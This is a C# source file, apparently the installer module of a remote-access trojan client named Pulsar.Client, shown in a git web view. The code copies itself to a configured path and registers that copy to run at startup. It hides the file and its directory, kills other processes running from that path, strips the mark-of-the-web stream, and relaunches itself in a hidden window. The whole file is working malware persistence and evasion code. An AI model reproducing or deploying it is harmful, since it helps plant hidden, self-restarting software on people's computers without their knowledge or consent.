Files

121 lines
3.9 KiB
C#
Raw Permalink Normal View History

2026-08-27 10:57:58 -06:00
using Pulsar.Client.Config;
using Pulsar.Client.Extensions;
using Pulsar.Common.Helpers;
using System;
using System.Diagnostics;
using System.IO;
using System.Threading;
using System.Windows.Forms;
namespace Pulsar.Client.Setup
{
public class ClientInstaller : ClientSetupBase
{
public void ApplySettings()
{
string clientPath;
try
{
clientPath = Application.ExecutablePath;
}
catch
{
clientPath = null;
}
if (Settings.STARTUP && clientPath != null)
{
var clientStartup = new ClientStartup();
if (Settings.INSTALL)
{
clientStartup.AddToStartup(Settings.INSTALLPATH, Settings.STARTUPKEY);
}
else
{
clientStartup.AddToStartup(Application.ExecutablePath, Settings.STARTUPKEY);
}
if (Settings.INSTALL && Settings.HIDEFILE)
{
try
{
File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden);
}
catch (Exception ex)
{
Debug.WriteLine(ex);
}
}
if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
{
try
{
DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH));
di.Attributes |= FileAttributes.Hidden;
}
catch (Exception ex)
{
Debug.WriteLine(ex);
}
}
}
}
public void Install()
{
// create target dir
if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH)))
{
Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH));
}
// delete existing file
if (File.Exists(Settings.INSTALLPATH))
{
try
{
File.Delete(Settings.INSTALLPATH);
}
catch (Exception ex)
{
if (ex is IOException || ex is UnauthorizedAccessException)
{
// kill old process running at destination path
Process[] foundProcesses =
Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH));
int myPid = Process.GetCurrentProcess().Id;
foreach (var prc in foundProcesses)
{
// dont kill own process
if (prc.Id == myPid) continue;
// only kill the process at the destination path
if (prc.GetMainModuleFileName() != Settings.INSTALLPATH) continue;
prc.Kill();
Thread.Sleep(2000);
break;
}
}
}
}
File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true);
ApplySettings();
FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH);
//start file
var startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = false,
FileName = Settings.INSTALLPATH
};
Process.Start(startInfo);
}
}
}